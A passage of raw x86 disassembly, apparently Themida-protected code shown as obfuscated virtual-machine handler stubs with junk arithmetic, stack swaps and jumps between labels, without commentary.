		pop	esi
		add	edx, 4
		xchg	edx, [esp+3Ch+var_3C]
		pop	esp
		pop	[esp+38h+var_38]
		mov	eax, [esp+34h+var_34]
		add	esp, 4
		push	61D7h
		mov	[esp+34h+var_34], ebx
		push	ecx
		push	ebp
		mov	ebp, 19D562C0h
		mov	ecx, 547A6650h
		xor	ecx, ebp
		jmp	loc_585E69
; ---------------------------------------------------------------------------


loc_588123:				; CODE XREF: sub_584787+948Aj
		sub	eax, 63321A6Ah
		jmp	loc_5880C7
; ---------------------------------------------------------------------------


loc_58812D:				; CODE XREF: sub_584787+6A9Bj
		pop	ebx
		jmp	loc_58B5B8
; ---------------------------------------------------------------------------


loc_588133:				; CODE XREF: sub_584787+46CFj
		add	ecx, 3E8D0C76h
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		idiv	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_586DBE
; ---------------------------------------------------------------------------


loc_588159:				; DATA XREF: Themida_:005843D4o
		mov	ax, word ptr [esp+38h+var_38]
		push	3298h
		mov	[esp+3Ch+var_3C], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ecx
		jmp	loc_590249
; ---------------------------------------------------------------------------


loc_588173:				; CODE XREF: sub_584787+9B8Ej
		push	ebx
		push	3C35h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		jmp	loc_58A51B
; ---------------------------------------------------------------------------


loc_588185:				; CODE XREF: sub_584787+A3E7j
		push	edx
		mov	edx, 191E7479h
		mov	edi, 3B208B34h
		sub	edi, edx
		pop	edx
		xor	edi, 6E696AF3h
		sub	edi, 0F683618Ah
		mov	ebx, edi
		pop	edi
		xor	ebx, 26C75D4Eh
		jmp	loc_5851FD
; ---------------------------------------------------------------------------


loc_5881AD:				; CODE XREF: sub_584787+5BF0j
		sub	edx, 4
		xchg	edx, [esp+44h+var_46+2]
		jmp	loc_58D36A
; ---------------------------------------------------------------------------


loc_5881BB:				; CODE XREF: sub_584787-2E9j
		mov	ecx, ebx
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		jmp	loc_5886BE
; ---------------------------------------------------------------------------


loc_5881C9:				; CODE XREF: sub_584787+9F55j
		sub	al, cl
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		mov	cl, al
		pop	eax
		sub	cl, ah
		pop	eax
		and	al, cl
		pop	cx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-0Eh+arg_8+2]
		pop	esp
		mov	[esp-12h+arg_E], edx
		jmp	loc_588819
; ---------------------------------------------------------------------------


loc_5881F9:				; CODE XREF: sub_584787+16BDj
		mov	esi, 0DDA9F764h
		sub	eax, esi
		pop	esi
		jmp	loc_58ED83
; ---------------------------------------------------------------------------


loc_588206:				; CODE XREF: sub_584787+3DDCj
		add	ch, 0EDh
		pop	eax
		shr	ch, 3
		sub	ch, 3Fh
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_58B157
; ---------------------------------------------------------------------------


loc_588221:				; CODE XREF: sub_584787+4EF0j
		add	bh, 9Ah
		add	al, 0A8h
		sub	al, bh
		jmp	loc_58A496
; ---------------------------------------------------------------------------


loc_58822D:				; CODE XREF: sub_584787+B9Bj
		add	edi, 4
		xor	edi, [esp+52h+var_54+2]
		xor	[esp+52h+var_54+2], edi
		xor	edi, [esp+52h+var_54+2]
		mov	esp, [esp+52h+var_54+2]
		xor	ecx, ebp
		push	[esp+52h+var_54+2]
		jmp	loc_587BEE
; ---------------------------------------------------------------------------


loc_588246:				; CODE XREF: sub_584787+8423j
		sub	ax, bx
		mov	bx, word ptr [esp+56h+var_58+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58DC58
; ---------------------------------------------------------------------------


loc_58825A:				; CODE XREF: sub_584787+75F9j
		or	edx, 45C6FC6h
		push	eax
		jmp	loc_58F8AB
; ---------------------------------------------------------------------------


loc_588266:				; DATA XREF: Themida_:005843CCo
		lodsd
		push	2C64h
		mov	[esp+0], edx
		mov	edx, 2F7E68BBh
		jmp	loc_58C4F1
; ---------------------------------------------------------------------------


loc_588279:				; CODE XREF: sub_584787+172Ej
		add	esp, 4
		pop	ecx


loc_588280:				; CODE XREF: sub_584787+22FCj
		sub	esp, 4
		jmp	loc_585091
; ---------------------------------------------------------------------------


loc_58828B:				; CODE XREF: sub_584787+9905j
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		sub	[esp-10h+arg_E+2], eax
		pop	eax
		sub	[esp-14h+arg_E+2], eax
		push	3BDFh
		mov	[esp+0], eax
		mov	eax, 7BAB52F7h
		push	edi
		mov	edi, 498A4540h
		add	[esp-0Ch+arg_E+2], edi
		jmp	loc_58FD3A
; ---------------------------------------------------------------------------


loc_5882B8:				; CODE XREF: sub_584787+5706j
		pop	eax
		mov	ecx, [esp+0]
		add	esp, 4


loc_5882C2:				; CODE XREF: sub_584787+9FBBj
		push	ebp
		mov	ebp, ebx
		jmp	sub_58F8C1
; ---------------------------------------------------------------------------


loc_5882CA:				; CODE XREF: sub_584787+34B6j
		sub	ch, 0FAh
		xor	ch, 85h
		sub	al, ch
		pop	ecx
		pop	ebx
		jmp	loc_5898DD
; ---------------------------------------------------------------------------


loc_5882D9:				; CODE XREF: sub_584787+BDE1j
		xor	esi, edi
		push	edi
		xchg	ecx, [esp-18h+arg_12+2]
		not	ecx
		xchg	ecx, [esp-18h+arg_12+2]
		pop	edi
		xchg	edi, esi
		and	esi, 50B15A0Fh
		sub	esi, 1200h
		mov	edx, esi
		pop	esi
		push	edx
		xor	[esp-1Ch+arg_18], 4BF1828h
		pop	ecx
		xor	ecx, 4BF1828h
		jmp	loc_586521
; ---------------------------------------------------------------------------


loc_58830A:				; CODE XREF: sub_584787+1FAFj
		sub	[esp+4+arg_0], ecx
		sub	[esp+4+arg_0], 0F854E0Dh
		jmp	loc_585DE5
; ---------------------------------------------------------------------------


loc_58831B:				; CODE XREF: sub_584787+8077j
		sub	esi, 4
		jmp	loc_58FB94
; ---------------------------------------------------------------------------


loc_588323:				; CODE XREF: sub_584787+623j
		push	esi
		mov	esi, 4
		jmp	loc_58DB6C
; ---------------------------------------------------------------------------


loc_58832E:				; CODE XREF: sub_584787+BF58j
		pop	cx
		push	5198h
		jmp	loc_587804
; ---------------------------------------------------------------------------


loc_58833A:				; CODE XREF: sub_584787+1E84j
		add	ecx, 725148D8h
		xor	ecx, 0AA829817h
		xor	edi, ecx
		jmp	loc_587E53
; ---------------------------------------------------------------------------


loc_58834D:				; CODE XREF: sub_584787+9F3Ej
		shr	cl, 5
		sub	cl, 0B7h
		add	cl, 0D6h
		mov	bh, cl
		pop	ecx
		neg	bh
		not	bh
		add	bh, 9Fh
		push	ecx
		mov	cl, bh
		jmp	loc_587B65
; ---------------------------------------------------------------------------


loc_588368:				; CODE XREF: sub_584787+220Bj
		push	7147h
		mov	[esp+0], ebx
		push	444Ch
		mov	[esp+26h+var_26], edi
		mov	edi, 74A226A6h
		jmp	loc_585706
; ---------------------------------------------------------------------------


loc_588382:				; CODE XREF: sub_584787+A957j
		add	esp, 4
		add	bl, cl
		pop	ecx
		add	bl, al
		push	ecx
		mov	cl, 0E0h
		jmp	loc_584857
; ---------------------------------------------------------------------------


loc_588392:				; CODE XREF: sub_584787+1505j
		sub	esp, 4
		mov	[esp+20h+var_20], ecx
		jmp	loc_58B861
; ---------------------------------------------------------------------------


loc_5883A0:				; CODE XREF: sub_584787+26Ej
		push	ecx
		push	ebp
		mov	ebp, 11333B91h
		mov	ecx, 20C46A09h
		xor	ecx, ebp
		pop	ebp
		or	edi, ecx
		pop	ecx
		shl	edi, 1
		sub	edi, 102070Ah
		and	edi, 182B300Dh
		sub	edi, 0E4F3F3A2h
		add	ecx, edi
		mov	edi, [esp+0]
		add	esp, 4
		push	ebp
		push	711614CFh
		mov	ebp, [esp+26h+var_26]
		jmp	loc_587878
; ---------------------------------------------------------------------------


loc_5883DF:				; CODE XREF: sub_584787+3CC8j
		mov	ecx, [esp+26h+var_26]
		add	esp, 4
		push	edi
		mov	edi, 4E3931C1h
		jmp	loc_5846D2
; ---------------------------------------------------------------------------


loc_5883F0:				; CODE XREF: sub_584787+50A9j
		push	7C3Dh
		mov	[esp+2Ah+var_2C+2], esp
		add	[esp+2Ah+var_2C+2], 4
		jmp	loc_58777A
; ---------------------------------------------------------------------------


loc_588404:				; CODE XREF: sub_584787+6154j
		mov	eax, [esp+2Ah+var_2C+2]
		push	edx
		mov	edx, esp
		jmp	loc_589C18
; ---------------------------------------------------------------------------


loc_58840F:				; DATA XREF: Themida_:005841C4o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	[esp+2Ch+var_2C], cl
		pushf
		jmp	loc_5889C6
; ---------------------------------------------------------------------------


loc_58841E:				; CODE XREF: sub_584787+625Aj
		sub	edx, 786B36AEh
		jmp	loc_589119
; ---------------------------------------------------------------------------


loc_588429:				; CODE XREF: sub_584787+78E2j
		mov	ecx, 2C546457h
		push	esi
		mov	esi, 4B655FE8h
		jmp	loc_58736D
; ---------------------------------------------------------------------------


loc_588439:				; CODE XREF: sub_584787+74CAj
		xor	ecx, 91C39CB9h
		push	edx
		mov	edx, 28B5FCC3h
		add	ecx, edx
		mov	edx, [esp+38h+var_38]
		add	esp, 4
		add	eax, ecx
		jmp	loc_5883DF
; ---------------------------------------------------------------------------


loc_588454:				; CODE XREF: sub_584787+1632j
		mov	[esp-4+arg_0], edi
		mov	edi, 27017490h
		sub	edi, 0FFFFFFFFh
		jmp	loc_584CD7
; ---------------------------------------------------------------------------


loc_588467:				; CODE XREF: sub_584787+9E32j
		add	eax, 455F2E8Ah
		mov	[eax], ebx
		pop	eax
		jmp	loc_58EA5A
; ---------------------------------------------------------------------------


loc_588474:				; CODE XREF: sub_584787+6BE3j
		xor	ecx, eax
		pop	eax
		or	[edi+1Ch], ecx
		push	[esp-0Ch+arg_8]
		pop	ecx
		add	esp, 4
		jmp	loc_584473
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp-0Ch+arg_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		jmp	loc_589551
; ---------------------------------------------------------------------------


loc_58849B:				; CODE XREF: sub_584787+94CCj
		add	bl, al
		add	bl, 4Dh
		jmp	loc_58A747
; ---------------------------------------------------------------------------


loc_5884A5:				; CODE XREF: sub_584787+61B7j
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_58CDD8
; ---------------------------------------------------------------------------


loc_5884B3:				; CODE XREF: sub_584787+9AEFj
		mov	ecx, esp
		add	ecx, 4
		push	edx
		jmp	loc_58CB48
; ---------------------------------------------------------------------------


loc_5884C1:				; CODE XREF: sub_584787+C66j
		push	esp
		push	[esp+1Ch+var_1C]
		pop	ebp
		push	3648h
		jmp	loc_58495D
; ---------------------------------------------------------------------------


loc_5884D0:				; CODE XREF: sub_584787+9545j
		push	[esp+20h+var_20]
		pop	ecx
		add	esp, 4
		jmp	loc_5903AC
; ---------------------------------------------------------------------------


loc_5884DC:				; CODE XREF: sub_584787+3676j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58E3B7
; ---------------------------------------------------------------------------


loc_5884E9:				; CODE XREF: sub_584787+54Bj
		mov	edi, 0AC7159A1h
		add	ecx, edi
		pop	edi
		jmp	loc_58E395
; ---------------------------------------------------------------------------


loc_5884F6:				; CODE XREF: sub_584787+A112j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_585BA1
; ---------------------------------------------------------------------------


loc_588504:				; CODE XREF: sub_584787+7C34j
		pop	ebx
		add	al, cl
		sub	al, 58h
		mov	cx, word ptr [esp+4+var_4]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp+8+var_8]
		pop	esp
		push	409Ah
		jmp	loc_588C24
; ---------------------------------------------------------------------------


loc_588528:				; CODE XREF: sub_584787+A2A3j
		push	ebx
		mov	ebx, 6F10444Fh
		or	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 90CEBB01h
		add	ecx, edi
		pop	edi
		mov	[edi+20h], ecx
		pop	ecx


loc_58853E:				; CODE XREF: sub_584787+7258j
					; sub_584787:loc_58C803j
		push	[esp+4+var_4]
		pop	ebx
		jmp	loc_5868F4
; ---------------------------------------------------------------------------


loc_588547:				; CODE XREF: sub_584787+173Aj
		or	ebx, edi
		pop	edi
		sub	ebx, 0F6DCDD72h
		jmp	loc_5879EE
; ---------------------------------------------------------------------------


loc_588555:				; CODE XREF: sub_584787+71D6j
		mov	ah, 0C1h
		mov	bl, ah
		jmp	loc_58BBA7
; ---------------------------------------------------------------------------


loc_58855E:				; CODE XREF: sub_584787+8055j
		sub	ch, ah
		sub	ch, 21h
		jmp	loc_588206
; ---------------------------------------------------------------------------


loc_588568:				; CODE XREF: sub_584787+542Fj
		push	ebx
		push	ebp
		jmp	loc_58526A
; ---------------------------------------------------------------------------


loc_58856F:				; CODE XREF: sub_584787+2513j
		shl	edx, 5
		not	edx
		not	edx
		jmp	loc_586B51
; ---------------------------------------------------------------------------


loc_58857B:				; CODE XREF: sub_584787-209j
		mov	esi, 5AD425FFh
		neg	esi
		dec	esi
		shr	esi, 8
		xor	esi, 5B23008Ah
		push	ecx
		mov	ecx, 5B862B4Ch
		sub	esi, ecx
		jmp	loc_58F054
; ---------------------------------------------------------------------------


loc_588599:				; CODE XREF: sub_584787+E4Ej
		pop	edi
		push	esi
		push	732E63E8h
		pop	esi
		jmp	loc_58E246
; ---------------------------------------------------------------------------


loc_5885A6:				; CODE XREF: sub_584787+13A8j
		sub	ebx, 66F967D7h
		sub	ebx, edx
		add	ebx, 66F967D7h
		pop	edx
		push	small word ptr [eax]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5885BD:				; CODE XREF: sub_584787+423Aj
		mov	edx, 4
		jmp	loc_589E98
; ---------------------------------------------------------------------------


loc_5885C7:				; CODE XREF: Themida_:0058F665j
		mov	ebp, 70564BCh
		sub	ebp, 0FFFFFFFFh
		neg	ebp
		xor	ebp, 29AF43A3h
		push	edx
		push	ecx
		mov	ecx, 4D6B7A2Ch
		add	ecx, 7BFC4FB8h
		jmp	loc_589DE7
; ---------------------------------------------------------------------------


loc_5885EC:				; CODE XREF: sub_584787+86Bj
		mov	ecx, 4
		sub	eax, 3F8E649Ah
		jmp	loc_58BED4
; ---------------------------------------------------------------------------


loc_5885FB:				; CODE XREF: sub_584787+99D9j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+14h+var_14]
		pop	esp
		xor	ebx, [esp+10h+var_10]
		xor	[esp+10h+var_10], ebx
		xor	ebx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		pop	small word ptr [esp+10h+var_10]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_588620:				; CODE XREF: sub_584787+285j
		mov	edx, [esp+2Ah+var_2C+2]
		add	esp, 4
		sub	edi, 0EE72DD33h
		add	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+26h+var_26], edi
		mov	edi, 2
		add	ecx, edi
		mov	edi, [esp+26h+var_26]
		jmp	loc_584D3D
; ---------------------------------------------------------------------------


loc_588647:				; CODE XREF: Themida_:005903C6j
		push	ecx
		jmp	loc_5873BB
; ---------------------------------------------------------------------------


loc_58864D:				; DATA XREF: Themida_:00584270o
		mov	ax, word ptr [esp+2Ah+var_2C+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+2Eh+var_30+2]
		pop	esp
		jmp	loc_58DDCC
; ---------------------------------------------------------------------------


loc_588669:				; CODE XREF: sub_584787+AC75j
		add	eax, esi
		add	eax, 35390D72h
		mov	esi, [esp+2Ah+var_2C+2]
		add	esp, 4
		and	ecx, eax
		push	[esp+26h+var_26]
		pop	eax
		jmp	loc_58EA24
; ---------------------------------------------------------------------------


loc_588681:				; CODE XREF: sub_584787+8B76j
		push	ecx
		jmp	loc_58D473
; ---------------------------------------------------------------------------


loc_588687:				; CODE XREF: sub_584787+5AACj
		xor	bl, cl
		jmp	loc_58B6CE
; ---------------------------------------------------------------------------


loc_58868E:				; CODE XREF: sub_584787+BD92j
		pop	edi
		pop	[esp+26h+var_26]
		pop	esp
		xchg	ebp, [esp+1Eh+var_20+2]
		pop	esp
		dec	byte ptr [esp+1Ah+var_1C+2]
		pushf
		jmp	loc_58A56A
; ---------------------------------------------------------------------------


loc_5886A0:				; CODE XREF: sub_584787+A38Fj
		mov	[esp+1Eh+var_20+2], ebx
		push	[esp+1Eh+var_20+2]
		jmp	loc_58751C
; ---------------------------------------------------------------------------


loc_5886AB:				; CODE XREF: sub_584787+1A23j
		pop	esp
		mov	[esp+30h+var_30], edx
		push	ecx
		mov	ecx, 70037A5Ah
		xchg	ebp, ecx
		not	ebp
		jmp	loc_58AAF3
; ---------------------------------------------------------------------------


loc_5886BE:				; CODE XREF: sub_584787+3A3Dj
		add	ecx, 32ED2353h
		shl	ecx, 1
		dec	ecx
		jmp	loc_58EF54
; ---------------------------------------------------------------------------


loc_5886CC:				; CODE XREF: sub_584787+1C20j
		push	ecx
		mov	ecx, 21841D94h
		sub	ecx, 2C9F3FA2h
		add	ecx, 0B1B2212h
		mov	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 266D2051h
		add	esi, ebp
		pop	ebp
		sub	esi, 249738FEh
		add	esi, eax
		push	ecx
		mov	ecx, 5AC85CA4h
		jmp	loc_58928E
; ---------------------------------------------------------------------------


loc_5886FD:				; CODE XREF: sub_584787+7D91j
		xor	ebp, edi
		mov	edi, [esp+58h+var_58]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+5Ch+var_5C]
		pop	esp
		push	ebp
		pop	edx
		push	[esp+58h+var_58]
		pop	ebp
		add	esp, 4
		jmp	loc_586A81
; ---------------------------------------------------------------------------


loc_588723:				; CODE XREF: sub_584787+5DDEj
		xor	edx, [esp+54h+var_54]
		jmp	loc_58564B
; ---------------------------------------------------------------------------


loc_58872B:				; CODE XREF: sub_584787+BF3j
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_58A01D
; ---------------------------------------------------------------------------


loc_588736:				; CODE XREF: sub_584787+ABEEj
		xchg	esi, [esp+10h+var_10]
		pop	esp
		add	ebp, 4
		push	6947h
		jmp	loc_58D3A5
; ---------------------------------------------------------------------------


loc_58874A:				; CODE XREF: sub_584787+245Cj
		pop	edi
		push	ebx
		jmp	loc_584DE4
; ---------------------------------------------------------------------------


loc_588751:				; CODE XREF: sub_584787+275Aj
		sub	ebx, 23EFBD46h
		mov	ecx, 46EB4F34h
		neg	ecx
		or	ecx, 7173192Fh
		add	ecx, 0B026671h
		sub	ecx, 1
		or	ecx, 317F7630h
		jmp	loc_58EB25
; ---------------------------------------------------------------------------


loc_58877B:				; CODE XREF: sub_584787+4D58j
		add	edx, 4
		xchg	edx, [esp+0Eh+var_10+2]
		pop	esp
		sub	ebx, 4
		push	ebx
		push	[esp+0Eh+var_C+2]
		mov	ebx, [esp+12h+var_14+2]
		add	esp, 4
		pop	[esp+0Eh+var_10+2]
		mov	esp, [esp+0Ah+var_C+2]
		mov	[esp+0Ah+var_C+2], edx
		push	eax
		pushf
		jmp	loc_58E7DA
; ---------------------------------------------------------------------------


loc_5887A3:				; CODE XREF: sub_584787+8793j
		mov	ecx, ebx
		pop	ebx
		and	eax, ecx
		push	[esp+0Eh+var_10+2]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+12h+var_14+2]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_586D1E
; ---------------------------------------------------------------------------


loc_5887CA:				; CODE XREF: sub_584787+6DB6j
		xor	edx, 2E3D2EA7h
		add	esi, edx
		pop	edx
		add	edi, esi
		pop	esi
		xor	edi, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], edi
		xor	edi, [esp+0Eh+var_10+2]
		pop	esp
		jmp	loc_58B884
; ---------------------------------------------------------------------------


loc_5887E5:				; CODE XREF: sub_584787+BDC4j
		xor	edx, ebx
		push	[esp+0Ah+var_C+2]
		pop	ebx
		add	esp, 4
		sub	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+6+var_8+2], esi
		push	[esp+6+var_4+2]
		jmp	loc_58B3D9
; ---------------------------------------------------------------------------


loc_588803:				; CODE XREF: sub_584787+AF96j
		xor	ecx, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], ecx
		xor	ecx, [esp+0Ah+var_C+2]
		jmp	loc_58B59F
; ---------------------------------------------------------------------------


loc_588811:				; CODE XREF: sub_584787+AED1j
		add	edx, ecx
		pop	ecx
		jmp	loc_58968B
; ---------------------------------------------------------------------------


loc_588819:				; CODE XREF: sub_584787+3A6Dj
		mov	edx, esp
		add	edx, 4
		push	91h
		mov	[esp-0Eh+arg_8+2], ebx
		jmp	loc_587CFE
; ---------------------------------------------------------------------------


loc_58882E:				; CODE XREF: sub_584787+13CCj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58E5C3
; ---------------------------------------------------------------------------


loc_588841:				; CODE XREF: sub_584787+A2CEj
		add	bl, 41h
		jmp	loc_585BAF
; ---------------------------------------------------------------------------


loc_588849:				; CODE XREF: sub_584787+A235j
		mov	ecx, 39E93A00h
		sub	edi, ecx
		jmp	loc_59000D
; ---------------------------------------------------------------------------


loc_588855:				; DATA XREF: Themida_:00584244o
		push	eax
		push	esp
		jmp	loc_586AB8
; ---------------------------------------------------------------------------


loc_58885C:				; CODE XREF: sub_584787+AF5Bj
		push	esi
		mov	esi, 4E0E4D23h
		sub	esi, 21A9213Ah
		xor	esi, 44FE7E23h
		push	57B2h
		jmp	loc_58CB10
; ---------------------------------------------------------------------------


loc_588878:				; CODE XREF: sub_584787-24j
		pop	ecx
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_58B4D1
; ---------------------------------------------------------------------------


loc_588888:				; CODE XREF: sub_584787+4F5Fj
		sub	ecx, 2
		push	ecx
		push	[esp-14h+arg_12+2]
		pop	ecx
		pop	[esp-14h+arg_E+2]
		pop	esp
		mov	word ptr [esp-1Ch+arg_18], ax
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58889E:				; CODE XREF: sub_584787+1356j
		pop	esi
		and	eax, ebp
		jmp	loc_59042C
; ---------------------------------------------------------------------------


loc_5888A6:				; CODE XREF: sub_584787+93D1j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5888AB:				; CODE XREF: sub_584787+77B1j
		sub	edx, 29366A1Dh
		shl	edx, 7
		sub	edx, 99CF93EDh
		or	ecx, edx
		pop	edx
		sub	ecx, 27021DF0h
		xor	edx, ecx
		pop	ecx
		xor	eax, edx
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_58BE96
; ---------------------------------------------------------------------------


loc_5888D6:				; CODE XREF: sub_584787+2483j
		mov	dh, bh
		pop	ebx
		neg	dh
		neg	dh
		push	ecx
		mov	cl, 0Fh
		sub	cl, 0F0h
		shr	cl, 5
		shr	cl, 6
		xor	cl, 3Eh
		xor	dh, cl
		pop	ecx
		sub	al, 0B9h
		jmp	loc_587319
; ---------------------------------------------------------------------------


loc_5888F6:				; CODE XREF: sub_584787+8F45j
		xor	esi, 0ECF9A91Dh
		add	ebx, esi
		pop	esi
		sub	ebp, ebx
		jmp	loc_590632
; ---------------------------------------------------------------------------


loc_588906:				; CODE XREF: sub_584787-2Ej
		mov	ecx, 1
		mov	edi, ecx
		jmp	loc_584DAF
; ---------------------------------------------------------------------------


loc_588912:				; CODE XREF: sub_584787+9B0Bj
		xor	[esp+0Ch+var_C], edx
		push	edx
		not	[esp+10h+var_10]
		mov	edx, [esp+10h+var_10]
		push	ebx
		jmp	loc_585949
; ---------------------------------------------------------------------------


loc_588922:				; CODE XREF: sub_584787+2244j
		inc	edx
		shl	edx, 4
		xor	edx, 0B8877322h
		sub	eax, 75EE3B7Eh
		add	eax, edx
		add	eax, 75EE3B7Eh
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		add	eax, ebx
		sub	eax, 476C2DA2h
		push	ebp
		jmp	loc_58F771
; ---------------------------------------------------------------------------


loc_58894E:				; CODE XREF: sub_584787+29A0j
		push	ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 352E157Fh
		jmp	loc_58DF0A
; ---------------------------------------------------------------------------


loc_58895C:				; CODE XREF: sub_584787+345Bj
		pop	ebx
		add	ecx, edx
		pop	edx
		add	ecx, edx
		sub	ecx, 27CC1294h
		jmp	loc_58964E
; ---------------------------------------------------------------------------


loc_58896D:				; CODE XREF: sub_584787+25A3j
		xor	ebx, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], ebx
		xor	ebx, [esp+1Ah+var_1C+2]
		pop	esp
		mov	[esp+16h+var_18+2], edi
		jmp	loc_588E8B
; ---------------------------------------------------------------------------


loc_58897F:				; CODE XREF: sub_584787+3280j
		sub	edi, 19706105h
		push	ebp
		mov	ebp, 7277CC5h
		dec	ebp
		neg	ebp
		jmp	loc_5877EA
; ---------------------------------------------------------------------------


loc_588993:				; CODE XREF: sub_584787+5BBEj
		push	dword ptr [esp+0]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		sub	esp, 4
		jmp	loc_58F4D7
; ---------------------------------------------------------------------------


loc_5889AE:				; CODE XREF: sub_584787+AB50j
		mov	[esp+8+var_8], edi
		jmp	loc_58CCCB
; ---------------------------------------------------------------------------


loc_5889B6:				; CODE XREF: sub_584787+AE4Fj
		add	esp, 4
		push	195Fh
		mov	[esp+8+var_8], edx
		jmp	loc_5885BD
; ---------------------------------------------------------------------------


loc_5889C6:				; CODE XREF: sub_584787+3C92j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5889CB:				; CODE XREF: sub_584787+6703j
		mov	[esp+30h+var_30], ebp
		push	eax
		mov	eax, 4
		mov	ebp, eax
		pop	eax
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp+2Ch+var_2C]
		jmp	loc_584674
; ---------------------------------------------------------------------------


loc_5889E2:				; CODE XREF: sub_584787+72D5j
		push	edx
		jmp	loc_58FE3B
; ---------------------------------------------------------------------------


loc_5889E8:				; CODE XREF: sub_584787+AB29j
		xor	[esp+30h+var_30], eax
		xor	eax, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		jmp	loc_58C550
; ---------------------------------------------------------------------------


loc_5889F6:				; CODE XREF: sub_584787+6326j
		mov	bh, 0FFh
		add	ch, bh
		pop	bx
		and	ch, 0B3h
		shr	ch, 8
		xor	ch, 0F9h
		push	edx
		jmp	loc_58D345
; ---------------------------------------------------------------------------


loc_588A0B:				; CODE XREF: sub_584787+821Ej
		add	ebx, edi
		pop	edi
		xor	eax, ebx
		push	[esp+2Eh+var_30+2]
		jmp	loc_588C94
; ---------------------------------------------------------------------------


loc_588A18:				; CODE XREF: sub_584787+5EA8j
		mov	ah, dh
		mov	bl, ah
		pop	eax
		not	bl
		mov	dh, bl
		jmp	loc_58B209
; ---------------------------------------------------------------------------


loc_588A26:				; DATA XREF: Themida_:00584378o
		mov	ax, word ptr [esp+2Eh+var_30+2]
		push	edi
		push	esp
		pop	edi
		push	79BBh
		mov	[esp+36h+var_38+2], edx
		jmp	loc_5844A3
; ---------------------------------------------------------------------------


loc_588A3A:				; CODE XREF: sub_584787+9F15j
		mov	ecx, [esp+36h+var_38+2]
		add	esp, 4
		jmp	loc_588D88
; ---------------------------------------------------------------------------


loc_588A48:				; CODE XREF: sub_584787+A5FEj
		pop	eax
		add	ebp, 2
		jmp	loc_589B7E
; ---------------------------------------------------------------------------


loc_588A51:				; CODE XREF: sub_584787+3790j
		xor	cl, 0DAh
		add	al, 62h
		add	al, 87h
		add	al, 1Dh
		sub	al, cl
		sub	al, 1Dh
		sub	al, 87h
		sub	al, 62h
		jmp	loc_58FD2C
; ---------------------------------------------------------------------------


loc_588A67:				; DATA XREF: Themida_:00584268o
		neg	[esp+4Ch+var_4E+2]
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_588A70:				; CODE XREF: sub_584787+7FF8j
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_58E81D
; ---------------------------------------------------------------------------


loc_588A7E:				; DATA XREF: Themida_:005843A0o
		lodsb
		add	al, 8Fh
		add	al, 0D4h
		jmp	loc_588019
; ---------------------------------------------------------------------------


loc_588A88:				; CODE XREF: sub_584787+231Fj
		push	esi
		jmp	loc_5864A6
; ---------------------------------------------------------------------------


loc_588A8E:				; CODE XREF: sub_584787+81F0j
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+2Eh+var_30+2]
		pop	esp
		mov	[esp+2Ah+var_2C+2], edx
		mov	edx, 100h
		jmp	loc_585A28
; ---------------------------------------------------------------------------


loc_588AAE:				; CODE XREF: sub_584787+53FFj
		push	small 7555h
		mov	word ptr [esp+2Ch+var_2C], cx
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_588ABB:				; CODE XREF: sub_584787+6605j
		push	esi
		mov	esi, 4
		jmp	loc_58D65D
; ---------------------------------------------------------------------------


loc_588AC6:				; CODE XREF: sub_584787-35j
		mov	[esp+4+var_4], edi
		push	ebx
